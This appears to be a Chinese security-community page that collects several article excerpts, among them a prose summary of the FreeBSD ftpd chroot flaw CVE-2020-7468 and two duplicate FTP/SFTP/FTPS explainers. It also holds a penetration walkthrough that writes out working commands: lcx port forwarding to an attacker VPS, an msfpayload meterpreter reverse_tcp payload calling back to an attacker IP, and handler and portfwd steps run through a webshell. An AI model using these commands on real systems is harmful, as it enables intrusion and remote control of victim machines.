首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

CVE-2020-7468:FreeBSD ftpd chroot本地提权漏洞分析

在今年7月,我们从一位匿名研究员那里收到了FreeBSD中的一个本地权限提升漏洞的相关信息,即一个存在于FreeBSD的文件传输协议守护进程(ftpd)中的漏洞。ftpd提供了一个名为ftpchroot的功能,旨在限制经过身份验证的用户对文件系统的访问。这个特性是使用“chroot”系统调用实现的,这是一种通常称为“chroot jail”的安全技术,chroot jail可以将进程限制在文件系统的受限部分来运行。但是,在该漏洞的帮助下,攻击者实际上可以利用这种被“囚禁”的状态来进行各种非法操作,将其权限从受限制的FTP帐户提升为“root”权限,并允许攻击者能够在目标系统上执行任意代码。此漏洞在FreeBSD FTP守护程序中存在了很长时间,最早可以追溯到FreeBSD 6.3版本。目前,这个漏洞被标记为了CVE-2020-7468/ZDI-20-1431,相关漏洞补丁已于今年9月份正式发布。

06

reverse_tcp反向连接在实战中的应用

0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。 首先VPS机器监听51端口,连接用14147端口: VPS机器执行: C:\>lcx.exe -listen 51 14147 目标机器执行: /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。 当前问题: 不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。 解决办法: 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接

02

浅谈FTP,SFTP,FTPS区别

FTP全称是File Transfer Protocol。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念:”下载”(Download)和”上传”(Upload)。”下载”文件就是从远程主机拷贝文件至自己的计算机上;”上传”文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。TCP/IP协议中,FTP标准命令TCP端口号为21,Port方式数据端口为20,FTP的任务是从一台计算机将文件传送到另一台计算机,不受操作系统的限制。

03

浅谈FTP,SFTP,FTPS区别「建议收藏」

FTP全称是File Transfer Protocol。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念:”下载”(Download)和”上传”(Upload)。”下载”文件就是从远程主机拷贝文件至自己的计算机上;”上传”文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。TCP/IP协议中,FTP标准命令TCP端口号为21,Port方式数据端口为20,FTP的任务是从一台计算机将文件传送到另一台计算机,不受操作系统的限制。

05
领券